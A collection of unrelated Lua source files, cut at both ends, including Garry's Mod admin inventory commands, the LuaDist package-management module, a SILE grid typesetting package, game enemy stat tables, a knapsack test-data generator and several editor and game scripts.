local self = {}
setmetatable(self, __KEYSMT__)
return self
end
__KEYSMT__.__index = function(t, k)
return key_down(keycodes["KEY_"..k])
end
keys = __KEYSMT__()
function onKeyDown(code) end
|
if SERVER then
util.AddNetworkString("impulseOpsViewInv")
util.AddNetworkString("impulseOpsRemoveInv")
net.Receive("impulseOpsRemoveInv", function(len, ply)
if not ply:IsAdmin() then return end
local targ = net.ReadUInt(8)
local invSize = net.ReadUInt(16)
targ = Entity(targ)
if not IsValid(targ) then return end
for i=1,invSize do
local itemid = net.ReadUInt(16)
local hasItem = targ:HasInventoryItemSpecific(itemid)
if hasItem then
targ:TakeInventoryItem(itemid)
end
end
ply:Notify("Removed "..invSize.." items from "..targ:Nick().."'s inventory.")
end)
else
net.Receive("impulseOpsViewInv", function()
local searchee = Entity(net.ReadUInt(8))
local invSize = net.ReadUInt(16)
local invCompiled = {}
if not IsValid(searchee) then return end
for i=1,invSize do
local itemnetid = net.ReadUInt(10)
local itemrestricted = net.ReadBool()
local itemequipped = net.ReadBool()
local itemid = net.ReadUInt(16)
local item = impulse.Inventory.Items[itemnetid]
table.insert(invCompiled, {item, itemrestricted, itemequipped, itemid})
end
local searchMenu = vgui.Create("impulseSearchMenuAdmin")
searchMenu:SetInv(invCompiled)
searchMenu:SetPlayer(searchee)
end)
end
local viewInvCommand = {
description = "Allows you to view and delete items from the player specified.",
requiresArg = true,
adminOnly = true,
onRun = function(ply, arg, rawText)
local name = arg[1]
local plyTarget = impulse.FindPlayer(name)
if plyTarget then
if not plyTarget.beenInvSetup then return ply:Notify("Target is loading still...") end
local inv = plyTarget:GetInventory(1)
net.Start("impulseOpsViewInv")
net.WriteUInt(plyTarget:EntIndex(), 8)
net.WriteUInt(table.Count(inv), 16)
for v,k in pairs(inv) do
local netid = impulse.Inventory.ClassToNetID(k.class)
net.WriteUInt(netid, 10)
net.WriteBool(k.restricted or false)
net.WriteBool(k.equipped or false)
net.WriteUInt(v, 16)
end
net.Send(ply)
else
return ply:Notify("Could not find player: "..tostring(name))
end
end
}
impulse.RegisterChatCommand("/viewinv", viewInvCommand)
local restoreInvCommand = {
description = "Restores a players inventory to the last state before death. (SteamID only)",
requiresArg = true,
adminOnly = true,
onRun = function(ply, arg, rawText)
local name = arg[1]
local plyTarget = player.GetBySteamID(name)
if plyTarget then
if plyTarget.InventoryRestorePoint then
plyTarget:ClearInventory(1)
for v,k in pairs(plyTarget.InventoryRestorePoint) do
plyTarget:GiveInventoryItem(k)
end
plyTarget.InventoryRestorePoint = nil
plyTarget:Notify("Your inventory has been restored to its last state by a game moderator.")
ply:Notify("You have restored "..plyTarget:Nick().."'s inventory to the last state.")
for v,k in pairs(player.GetAll()) do
if k:IsLeadAdmin() then
k:AddChatText(Color(135, 206, 235), "[ops] Moderator "..ply:SteamName().." restored "..plyTarget:SteamName().."'s inventory.")
end
end
else
return ply:Notify("No restore point found for this player.")
end
else
return ply:Notify("Could not find player: "..tostring(name).." (needs SteamID value)")
end
end
}
impulse.RegisterChatCommand("/restoreinv", restoreInvCommand)
|
--- LuaDist package specific functions
-- Peter Drahoš, Peter Kapec, LuaDist Project, 2010
--- Package handling functions.
-- This module deals with packages, these are unpacked dists in LuaDist terminology
-- The following functions are provided:
-- unpack - fetch and unpack a dist
-- build - compile a source dist
-- deploy - install a dist into deployment
-- pack - create dist from package
-- delete - delete package
module ("dist.package", package.seeall)
local config = require "dist.config"
local fetch = require "dist.fetch"
local persist = require "dist.persist"
local sys = require "dist.sys"
local manif = require "dist.manifest"
local log = require "dist.log"
--- Fetch and unpack zip/dist from URL into dest directory.
-- @param url string: Local packed dist or URL to fetch dist from.
-- @param dest string: Destination to unpack contents into, nil for temp directory.
-- @return path, log: Unpacked dist path or nil and log.
function unpack(url, dest)
-- Make sure dest is set up properly
dest = sys.path(dest) or config.temp
-- Check types
assert(type(url)=="string", "package.unpack: Argument 'url' is not a string.")
assert(type(dest)=="string", "package.unpack: Argument 'dest' is not a string.")
-- Setup destination
local name = url:match("([^/]+)%.[^%.]+$")
if not name then return nil, "Could not determine dist name from " .. url end
local pkg = sys.path(dest, name)
local dist = pkg .. ".dist"
-- If the files already exist
if sys.exists(pkg) then return pkg, "Skipped unpack, destination " .. dest .. " exists." end
-- Download if needed
if not sys.exists(dist) then
-- Download from URL or local path. Fetch handles this
dist = fetch.download(url)
if not dist then return nil, "Failed to download " .. url end
end
-- Unzip
local ok = sys.unzip(dist, pkg)
if not ok then return nil, "Failed to unzip " .. dist .. " to " .. pkg end
-- Cleanup
if not config.debug then sys.delete(dist) end
return pkg, "Unpacked " .. url .. " to " .. pkg
end
--- Build, deploy and test a source dist using CMake.
-- @param dist string: Directory of the source dist to build.
-- @param variables: Table containing optional CMake parameters.
-- @return path, log: Returns temporary directory the dist was build into and log message.
function build(dist, depl, variables)
-- Make sure deployment is always set up
depl = sys.path(depl) or config.root
assert(type(dist)=="string", "package.build: Arument 'dist' is not a string.")
assert(type(depl)=="string", "package.build: Argument 'depl' is not a string.")
assert(type(variables)=="table", "package.build: Argument 'variables' is not a table.")
-- Load dist info
local info = manif.info(sys.path(dist, "dist.info"))
if not info then return nil, "Directory " .. dist .. " does not contain valid dist.info." end
-- Prepare temporary directory and build directory
local install = sys.path(config.temp,info.name .. "-" .. info.version .. "-" .. config.arch .. "-" .. config.type)
local build = sys.path(config.temp,info.name .. "-" .. info.version .. "-CMake-build")
sys.makeDir(install)
sys.makeDir(build)
-- Prepare CMackeCache
variables["CMAKE_INSTALL_PREFIX"] = install
local cache = assert(io.open(build..'/cache.cmake', "w"), "Could not create cache file.")
for k,v in pairs(variables) do
cache:write('SET('..k..' "' .. tostring(v) ..'" CACHE STRING "" FORCE)\n')
end
cache:close()
-- Determine build commands
local make = config.make
local cmake = config.cmake
if config.debug then
make = config.makeDebug
cmake = config.cmakeDebug
end
-- Build
local ok = sys.execute("cd " .. sys.Q(build) .. " && " .. cmake .. " -C cache.cmake " .. sys.Q(dist))
if not ok then return nil, "CMake failed pre-cmake script in directory " .. build end
local ok = sys.execute("cd " .. sys.Q(build) .. " && " .. make)
if not ok then return nil, "CMake failed building in directory " .. build end
-- Save info
info.arch = config.arch
info.type = config.type
local ok = persist.save(sys.path(install, "dist.info"), info )
if not ok then return nil, "Cannot wite dist.info to" .. fullDist end
-- Deploy the dist
local ok, err = deploy(install, depl)
if not ok then return nil, err end
-- Clean up
if not config.debug then sys.delete(build) sys.delete(install) end
return install, "Successfully built dist in " .. install
end
--- Deploy dist into deployment directory.
-- @param dist string: Directory of the dist to deploy.
-- @param depl string: Deployment directory nil for default.
-- @return ok, log: Returns true on success and log message.
function deploy(dist, depl)
-- Make sure deployment is always set up
depl = sys.path(depl) or config.root
assert(type(dist)=="string", "package.deploy: Argument 'dist' is not a string.")
assert(type(depl)=="string", "package.deploy: Argument 'depl' is not a string.")
-- Load dist info
local info = manif.info(sys.path(dist, "dist.info"))
if not info then return nil, "Directory " .. dist .. " does not contain valid dist.info" end
-- Relative and full path to dist deployment
local distRel = config.dists .. "/" .. info.name .. "-" .. info.version
local distPath = sys.path(depl, distRel)
-- If we are deploying a dist into itself
if distPath == dist then return
true, "Skipping, already deployed"
end
-- Copy to install dir
sys.makeDir(depl)
sys.makeDir(distPath)
-- Collect files to process
local files = sys.list(dist)
-- Simple copy deployment
for i = 1, #files do
local file = files[i]
if file~="dist.info" then
local path = sys.path(dist, file)
-- Create directory in depl
if sys.isDir(path) then
local ok, err = sys.makeDir(sys.path(depl, file))
if not ok then return nil, "Failed to install " .. dist .. "/" .. file .. " to " .. depl end
-- Copy files to depl
else
local ok, err = sys.copy(sys.path(dist, file), sys.path(depl, file))
if not ok then return nil, "Failed to install " .. dist .. "/" .. file .. " to " .. depl end
end
end
end
-- Modify and save dist.info
info.files = files
local ok = persist.save(sys.path(distPath, "dist.info"), info)
if not ok then return nil, "Cannot wite dist.info to" .. distPath end
return true, "Successfully deployed dist to " .. depl
end
--- Pack a package to create a dist.
-- @param dist string: deployed dist to pack.
-- @param depl string: deployment dir to pack from.
-- @param dir string: Optional destination for the dist, current directory will be used by default.
-- @return ok, log: Returns success and log message.
function pack(dist, depl, dir)
depl = depl or dist
assert(type(dist)=="string", "package.pack: Argument 'dist' is not a string.")
assert(not dir or type(dir)=="string", "package.pack: Argument 'dir' is no a string.")
if not dir then dir = sys.curDir() end
-- Get the manifest of the dist
local info = manif.info(sys.path(dist, "dist.info"))
if not info then return nil, "Dist does not contain valid dist.info in " .. dist end
-- Create temporary folder
local pkg = info.name .. "-" .. info.version .. "-" .. info.arch .. "-" .. info.type
if info.arch == "Universal" and info.type == "source" then
pkg = info.name .. "-" .. info.version
end
local tmp = sys.path(config.temp, pkg)
sys.makeDir(tmp)
-- Copy dist files into temporary folder
local files = info.files or sys.list(dist)
if not files then return nil, "Failed to collect files for dist in " .. dist end
for i = 1, #files do
local file = files[i]
if sys.isDir(sys.path(depl, file)) then
sys.makeDir(sys.path(tmp, file))
elseif file ~= "dist.info" then
local ok = sys.copy(sys.path(depl, file), sys.path(tmp, file))
if not ok then return nil, "Pack failed to copy file " .. file end
end
end
-- Clean obsolete dist.info entries
info.path = nil
info.files = nil
local ok, err = persist.save(sys.path(tmp, "dist.info"), info)
if not ok then return nil, "Could not update dist.info." end
-- Zip dist files in the temporary folder. The zip will be placed into LuaDist/tmp folder
-- This cleans up .git .svn and Mac .DS_Store files.
local ok = sys.zip(config.temp, pkg .. ".dist", pkg, '-x "*.git*" -x "*.svn*" -x "*~" -x "*.DS_Store*"')
if not ok then return nil, "Failed to compress files in" .. pkg end
local ok = sys.move(tmp .. ".dist", dir .. "/") -- Adding the "/" gets around ambiguity issues on Windows.
if not ok then return nil, "Could not move dist to target directory " .. dir end
-- Remove the temporary folder
if not config.debug then sys.delete(tmp) end
return true, "Sucessfully packed dist " .. dist .. " to " .. dir
end
--- Delete a deployed dist.
-- @param dist string: dist to delete.
-- @param depl string: deployment dir to delete from.
-- @return ok, log: Returns success and nlog message.
function delete(dist, depl)
assert(type(dist)=="string", "package.delete: Argument 'dist' is not a string.")
assert(type(dist)=="string", "package.delete: Argument 'depl' is not a string.")
-- Get the manifest of the dist
local info = manif.info(sys.path(dist, "dist.info"))
if not info then return nil, "Dist does not contain valid dist.info in " .. dist end
-- Delete installed files
local files = info.files
if not files then return nil, "Failed to collect files for dist in " .. dist end
-- Remove list backwards to empty dirs 1st.
for i = #files, 1, -1 do
local file = sys.path(depl, files[i])
-- Delete deployed file
if sys.isFile(file) then
sys.delete(file)
end
-- Delete empty directories
if sys.isDir(file) then
local contents = sys.dir(file)
if #contents == 0 then
sys.delete(file)
end
end
end
-- Delete dist directory
local ok = sys.delete(dist)
if not ok then return nil, "Deleting dist files failed in " .. dist end
return true, "Successfully removed dist " .. dist
end
|
local gridSpacing -- Should be a setting
local leadingFor = function(this, vbox, previous)
if not this.frame.state.totals.gridCursor then this.frame.state.totals.gridCursor = 0 end
if not previous then
return SILE.nodefactory.newVglue({height = SILE.length.new()});
end
this.frame.state.totals.gridCursor = this.frame.state.totals.gridCursor + previous.height.length
if previous:isVbox() then
this.frame.state.totals.gridCursor = this.frame.state.totals.gridCursor + previous.depth.length
end
local lead = gridSpacing - (this.frame.state.totals.gridCursor % gridSpacing);
this.frame.state.totals.gridCursor = this.frame.state.totals.gridCursor + lead
return SILE.nodefactory.newVglue({height = SILE.length.new({ length = lead })});
end
local pushVglue = function(this, spec)
if not this.frame.state.totals.gridCursor then this.frame.state.totals.gridCursor = 0 end
SILE.defaultTypesetter.pushVglue(this, spec);
SILE.defaultTypesetter.pushVglue(this, leadingFor(this, nil, SILE.nodefactory.newVglue(spec)));
end
SILE.registerCommand("grid", function(options, content)
SU.required(options, "spacing", "grid package")
-- t:initline()
-- t:leaveHmode()
gridSpacing = SILE.parseComplexFrameDimension(options.spacing,"h");
SILE.typesetter.leadingFor = leadingFor
SILE.typesetter.pushVglue = pushVglue;
end, "Begins typesetting on a grid spaced at <spacing> intervals.")
SILE.registerCommand("no-grid", function (options, content)
SILE.typesetter.leadingFor = SILE.defaultTypesetter.leadingFor
SILE.typesetter.pushVglue = SILE.defaultTypesetter.pushVglue
-- SILE.typesetter.state = t.state
end, "Stops grid typesetting.")
|
pg = pg or {}
pg.enemy_data_statistics_375 = {
[212009] = {
cannon = 11,
reload = 150,
speed_growth = 0,
cannon_growth = 864,
pilot_ai_template_id = 10001,
air = 0,
base = 182,
dodge = 16,
durability_growth = 47260,
antiaircraft = 50,
speed = 24,
reload_growth = 0,
dodge_growth = 200,
luck = 0,
battle_unit_type = 55,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 4032,
torpedo = 34,
durability = 118,
armor_growth = 0,
torpedo_growth = 2736,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212009,
antisub = 0,
world_enhancement = {
1.2,
3.8,
0.9,
0,
0.7,
0.7,
0
},
equipment_list = {
1100246,
1100276,
1100436,
1100466
}
},
[212010] = {
cannon = 12,
reload = 150,
speed_growth = 0,
cannon_growth = 996,
base = 302,
air = 0,
durability_growth = 50400,
dodge = 16,
antiaircraft = 49,
speed = 24,
luck = 0,
reload_growth = 0,
dodge_growth = 200,
battle_unit_type = 55,
antiaircraft_growth = 3912,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 36,
durability = 126,
armor_growth = 0,
torpedo_growth = 2880,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212010,
world_enhancement = {
1.2,
3.8,
0.9,
0,
0.7,
0.7,
0
},
equipment_list = {
1100246,
1100391,
1100361
}
},
[212011] = {
cannon = 11,
reload = 150,
speed_growth = 0,
cannon_growth = 912,
base = 303,
air = 0,
durability_growth = 52500,
dodge = 16,
antiaircraft = 56,
speed = 24,
luck = 0,
reload_growth = 0,
dodge_growth = 200,
battle_unit_type = 55,
antiaircraft_growth = 4440,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 34,
durability = 131,
armor_growth = 0,
torpedo_growth = 2736,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212011,
world_enhancement = {
1.2,
3.8,
0.9,
0,
0.7,
0.7,
0
},
equipment_list = {
1100246,
1100116,
1100496
}
},
[212012] = {
cannon = 23,
reload = 150,
speed_growth = 0,
cannon_growth = 1848,
base = 304,
air = 0,
durability_growth = 66160,
dodge = 8,
antiaircraft = 32,
speed = 18,
luck = 0,
reload_growth = 0,
dodge_growth = 100,
battle_unit_type = 55,
antiaircraft_growth = 2520,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 24,
durability = 165,
armor_growth = 0,
torpedo_growth = 1920,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212012,
world_enhancement = {
1.2,
2.1,
1.4,
0.3,
0.7,
0.7,
0.6
},
equipment_list = {
1100671,
1100101,
1100306
}
},
[212013] = {
cannon = 34,
reload = 150,
speed_growth = 0,
cannon_growth = 2736,
pilot_ai_template_id = 10001,
air = 0,
base = 225,
dodge = 2,
durability_growth = 103960,
antiaircraft = 28,
speed = 14,
reload_growth = 0,
dodge_growth = 30,
luck = 0,
battle_unit_type = 65,
hit = 7,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 2268,
torpedo = 0,
durability = 260,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 105,
armor = 0,
id = 212013,
antisub = 0,
world_enhancement = {
1.2,
0.5,
1.4,
0.5,
0.7,
1.6,
1.8
},
equipment_list = {
1100526,
1100556,
1100721
}
},
[212014] = {
cannon = 37,
reload = 150,
speed_growth = 0,
cannon_growth = 2940,
base = 307,
air = 0,
durability_growth = 115500,
dodge = 2,
antiaircraft = 32,
speed = 14,
luck = 0,
reload_growth = 0,
dodge_growth = 30,
battle_unit_type = 65,
antiaircraft_growth = 2568,
hit = 7,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 0,
durability = 289,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 105,
armor = 0,
id = 212014,
world_enhancement = {
1.2,
0.5,
1.4,
0.5,
0.7,
1.6,
1.8
},
equipment_list = {
1100101,
1100596,
1100731
}
},
[212015] = {
cannon = 36,
reload = 150,
speed_growth = 0,
cannon_growth = 2880,
base = 308,
air = 0,
durability_growth = 117820,
dodge = 2,
antiaircraft = 32,
speed = 14,
luck = 0,
reload_growth = 0,
dodge_growth = 30,
battle_unit_type = 65,
antiaircraft_growth = 2568,
hit = 7,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 0,
durability = 295,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 105,
armor = 0,
id = 212015,
world_enhancement = {
1.2,
0.5,
1.4,
0.5,
0.7,
1.6,
1.8
},
equipment_list = {
1100101,
1100596,
1100731
}
},
[212016] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 46,
base = 237,
dodge = 6,
durability_growth = 94500,
antiaircraft = 41,
speed = 18,
reload_growth = 0,
dodge_growth = 70,
luck = 0,
battle_unit_type = 60,
hit = 7,
antisub_growth = 0,
air_growth = 3696,
antiaircraft_growth = 3276,
torpedo = 0,
durability = 236,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 105,
armor = 0,
id = 212016,
antisub = 0,
world_enhancement = {
1.2,
1.5,
1.4,
0.5,
0.1,
1.6,
0.1
},
equipment_list = {
1100016,
1100596,
2200766,
2200771,
2200776
}
},
[212017] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 48,
base = 238,
dodge = 6,
durability_growth = 99220,
antiaircraft = 41,
speed = 18,
reload_growth = 0,
dodge_growth = 70,
luck = 0,
battle_unit_type = 60,
hit = 7,
antisub_growth = 0,
air_growth = 3878,
antiaircraft_growth = 3276,
torpedo = 0,
durability = 248,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 105,
armor = 0,
id = 212017,
antisub = 0,
world_enhancement = {
1.2,
1.5,
1.4,
0.5,
0.1,
1.6,
0.1
},
equipment_list = {
1100016,
1100166,
2200766,
2200771,
2200776
}
},
[212018] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
base = 295,
air = 53,
durability_growth = 89780,
dodge = 6,
antiaircraft = 41,
speed = 18,
luck = 0,
reload_growth = 0,
dodge_growth = 70,
battle_unit_type = 60,
antisub = 0,
hit = 7,
antisub_growth = 0,
air_growth = 4256,
antiaircraft_growth = 3276,
torpedo = 0,
durability = 224,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 105,
armor = 0,
id = 212018,
world_enhancement = {
1.2,
1.5,
1.4,
0.5,
0.1,
1.6,
0.1
},
bound_bone = {
cannon = {
{
-0.5,
0.5,
0
}
},
antiaircraft = {
{
0.5,
0.8,
0
},
{
-0.5,
0.8,
0
}
},
plane = {
{
-0.5,
0.5,
0
}
}
},
equipment_list = {
1100016,
1100166,
2200766,
2200771,
2200776
}
},
[212101] = {
cannon = 6,
reload = 150,
speed_growth = 0,
cannon_growth = 480,
pilot_ai_template_id = 10001,
air = 0,
base = 150,
dodge = 22,
durability_growth = 42000,
antiaircraft = 22,
speed = 27,
reload_growth = 0,
dodge_growth = 270,
luck = 0,
battle_unit_type = 50,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 1764,
torpedo = 48,
durability = 105,
armor_growth = 0,
torpedo_growth = 3840,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212101,
antisub = 0,
world_enhancement = {
1.6,
5.4,
1.2,
0.6,
0.9,
0.9,
0
},
equipment_list = {
1100002,
1100137,
1100497
}
},
[212102] = {
cannon = 5,
reload = 150,
speed_growth = 0,
cannon_growth = 432,
pilot_ai_template_id = 10001,
air = 0,
base = 151,
dodge = 22,
durability_growth = 37800,
antiaircraft = 22,
speed = 27,
reload_growth = 0,
dodge_growth = 270,
luck = 0,
battle_unit_type = 50,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 1764,
torpedo = 46,
durability = 95,
armor_growth = 0,
torpedo_growth = 3648,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212102,
antisub = 0,
world_enhancement = {
1.6,
5.4,
1.2,
0.6,
0.9,
0.9,
0
},
equipment_list = {
1100002,
1100137,
1100497
}
},
[212103] = {
cannon = 5,
reload = 150,
speed_growth = 0,
cannon_growth = 432,
pilot_ai_template_id = 10001,
air = 0,
base = 152,
dodge = 22,
durability_growth = 37800,
antiaircraft = 22,
speed = 27,
reload_growth = 0,
dodge_growth = 270,
luck = 0,
battle_unit_type = 50,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 1764,
torpedo = 46,
durability = 95,
armor_growth = 0,
torpedo_growth = 3648,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212103,
antisub = 0,
world_enhancement = {
1.6,
5.4,
1.2,
0.6,
0.9,
0.9,
0
},
equipment_list = {
1100002,
1100137,
1100497
}
},
[212104] = {
cannon = 6,
reload = 150,
speed_growth = 0,
cannon_growth = 480,
pilot_ai_template_id = 10001,
air = 0,
base = 153,
dodge = 22,
durability_growth = 44100,
antiaircraft = 22,
speed = 27,
reload_growth = 0,
dodge_growth = 270,
luck = 0,
battle_unit_type = 50,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 1764,
torpedo = 46,
durability = 110,
armor_growth = 0,
torpedo_growth = 3648,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212104,
antisub = 0,
world_enhancement = {
1.6,
5.4,
1.2,
0.6,
0.9,
0.9,
0
},
equipment_list = {
1100002,
1100137,
1100497
}
},
[212105] = {
cannon = 6,
reload = 150,
speed_growth = 0,
cannon_growth = 492,
base = 297,
air = 0,
durability_growth = 42840,
dodge = 22,
antiaircraft = 23,
speed = 27,
luck = 0,
reload_growth = 0,
dodge_growth = 270,
battle_unit_type = 50,
antiaircraft_growth = 1800,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 49,
durability = 107,
armor_growth = 0,
torpedo_growth = 3912,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212105,
world_enhancement = {
1.6,
5.4,
1.2,
0.6,
0.9,
0.9,
0
},
equipment_list = {
1100002,
1100137,
1100512
}
},
[212106] = {
cannon = 6,
reload = 150,
speed_growth = 0,
cannon_growth = 480,
base = 298,
air = 0,
durability_growth = 39900,
dodge = 22,
antiaircraft = 22,
speed = 27,
luck = 0,
reload_growth = 0,
dodge_growth = 270,
battle_unit_type = 50,
antiaircraft_growth = 1764,
hit = 13,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 50,
durability = 100,
armor_growth = 0,
torpedo_growth = 4032,
luck_growth = 0,
hit_growth = 189,
armor = 0,
id = 212106,
world_enhancement = {
1.6,
5.4,
1.2,
0.6,
0.9,
0.9,
0
},
equipment_list = {
1100002,
1100137,
1100512
}
}
}
return
|
math.randomseed(os.time())
local f = assert(io.open("dataset2.txt", "w"))
local n = 200
local maxW = math.random(1, 10^9)
f:write(string.format("%d %d\n", n, maxW))
for i = 1, n do
local vi = math.random(1, 10^9)
local wi = math.random(1, 1000)
f:write(string.format("%d %d\n", vi, wi))
end
f:close()
local f = assert(io.open("dataset3-1.txt", "w"))
local n = 200
local maxW = math.random(1, 10^9)
f:write(string.format("%d %d\n", n, maxW))
for i = 1, n do
local vi = math.random(1, 1000)
local wi = math.random(1, 10^9)
f:write(string.format("%d %d\n", vi, wi))
end
f:close()
local f = assert(io.open("dataset3-2.txt", "w"))
local n = 200
local maxW = math.random(10^9, 10^9)
f:write(string.format("%d %d\n", n, maxW))
for i = 1, n do
local vi = math.random(100, 1000)
local wi = math.random(1, 10^6)
f:write(string.format("%d %d\n", vi, wi))
end
f:close()
local n = 200
local t,s = {},0
for i = 1, n do
local vi = math.random(1, 1000)
local wi = math.random(1, 10^6)
table.insert(t, {vi, wi})
s = s + wi
end
local maxW = math.min(10^9, math.ceil(s / 1.7))
local f = assert(io.open("dataset3-3.txt", "w"))
f:write(string.format("%d %d\n", n, maxW))
for i,v in ipairs(t) do
f:write(string.format("%d %d\n", v[1], v[2]))
end
f:close()
|
--[[
lrc4 - Native Lua/LuaJIT RC4 stream cipher library - https://github.com/CheyiLin/lrc4
The MIT License (MIT)
Copyright (c) 2015-2021 Cheyi Lin <cheyi.lin@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
]]
-- for Lua 5.3 and above only
local bitwise = {
xor = function(a, b) return a ~ b end,
}
return bitwise
|
local objChinaGate = createObject(986, 2566.45, 1822, 11, 0, 0, 180)
exports.pool:allocateElement(objChinaGate)
local objChinaGate2 = createObject(986, 2566.45, 1826, 11, 0, 0, 180)
exports.pool:allocateElement(objChinaGate2)
local objChinaFence = createObject( 987, 2544.3037109375, 1845.4, 9.5, 0, 0, 270)
exports.pool:allocateElement(objChinaFence)
open = false
-- Gate code
function useChinaGate(thePlayer)
local team = getPlayerTeam(thePlayer)
if (team==getTeamFromName("Yamaguchi-Gumi")) then
local x, y, z = getElementPosition(thePlayer)
local distance = getDistanceBetweenPoints3D( 2565.1757, 1820.6582, 10.8203, x, y, z )
if (distance<=10) and (open==false) then
open = true
outputChatBox("Yakuza gate is now Open!", thePlayer, 0, 255, 0)
moveObject(objChinaGate, 3000, 2571.8, 1822, 11)
moveObject(objChinaGate2, 4000, 2571.8, 1826, 11)
setTimer(closeChinaGate, 6000, 1, thePlayer)
end
end
end
addCommandHandler("gate", useChinaGate)
function closeChinaGate(thePlayer)
if (getElementType(thePlayer)) then
outputChatBox("Yakuza gate is now Closed!", thePlayer, 255, 0, 0)
end
moveObject(objChinaGate, 3000, 2566.45, 1822, 11)
moveObject(objChinaGate2, 4000, 2566.45, 1826, 11)
setTimer(resetChinaGateState, 1000, 1)
end
function resetChinaGateState()
open = false
end
|
local lsok, ls = pcall(require, "luasnip")
if not lsok then
vim.notify("Unable to require luasnip")
return
end
local lsvsok, lsvscode = pcall(require, "luasnip.loaders.from_vscode")
if not lsvsok then
vim.notify("Unable to require luasnip.loaders.from_vscode")
return
end
local lsloadok, lsloader = pcall(require, "luasnip.loaders.from_lua")
if not lsloadok then
vim.notify("Unable to require luasnip.loaders.from_lua")
return
end
lsloader.load({paths = "~/.config/nvim/snippets"})
local types = require("luasnip.util.types")
ls.config.set_config({
-- Keep last snippet to jump around
history = true,
-- Enable dynamic snippets
updateevents = "TextChanged,TextChangedI",
enable_autosnippets = false,
ext_opts = {
-- [types.insertNode] = {active = {virt_text = {{"●", "DiffAdd"}}}},
[types.choiceNode] = {active = {virt_text = {{"●", "Operator"}}}}
}
})
-- Extend changelog with debchangelog
ls.filetype_extend("changelog", {"debchangelog"})
lsvscode.lazy_load()
vim.keymap.set("n", "<Leader><Leader>s",
":luafile ~/.config/nvim/lua/config/luasnip.lua<CR>",
{silent = false, desc = "Reload snippets"})
|
----------------------------------------------------------------------------------------------------
--
-- All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
-- its licensors.
--
-- For complete copyright and license terms please see the LICENSE at the root of this
-- distribution (the "License"). All use of this software is governed by the License,
-- or, if provided, by the license below or the license accompanying this file. Do not
-- remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
--
--
----------------------------------------------------------------------------------------------------
local CreateBall =
{
Properties =
{
Ball = {default = EntityId()},
OtherButtons = {default = {EntityId()}},
},
}
function CreateBall:OnActivate()
self.buttonHandler = UiButtonNotificationBus.Connect(self, self.entityId)
self.tickHandler = TickBus.Connect(self)
end
function CreateBall:OnTick()
self.tickHandler:Disconnect()
UiElementBus.Event.SetIsEnabled(self.Properties.Ball, false)
self.canvasNotificationBusHandler = UiCanvasNotificationBus.Connect(self, UiElementBus.Event.GetCanvas(self.entityId))
end
function CreateBall:OnAction(entityId, actionName)
if (actionName == "BallDestroyed") then
for i = 0, #self.Properties.OtherButtons do
UiInteractableBus.Event.SetIsHandlingEvents(self.Properties.OtherButtons[i], false)
end
end
end
function CreateBall:OnButtonClick()
UiElementBus.Event.SetIsEnabled(self.Properties.Ball, true)
for i = 0, #self.Properties.OtherButtons do
UiInteractableBus.Event.SetIsHandlingEvents(self.Properties.OtherButtons[i], true)
end
end
function CreateBall:OnDeactivate()
self.buttonHandler:Disconnect()
end
return CreateBall
|
--[[
MIT License
Copyright (c) 2021 Michael Wiesendanger
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
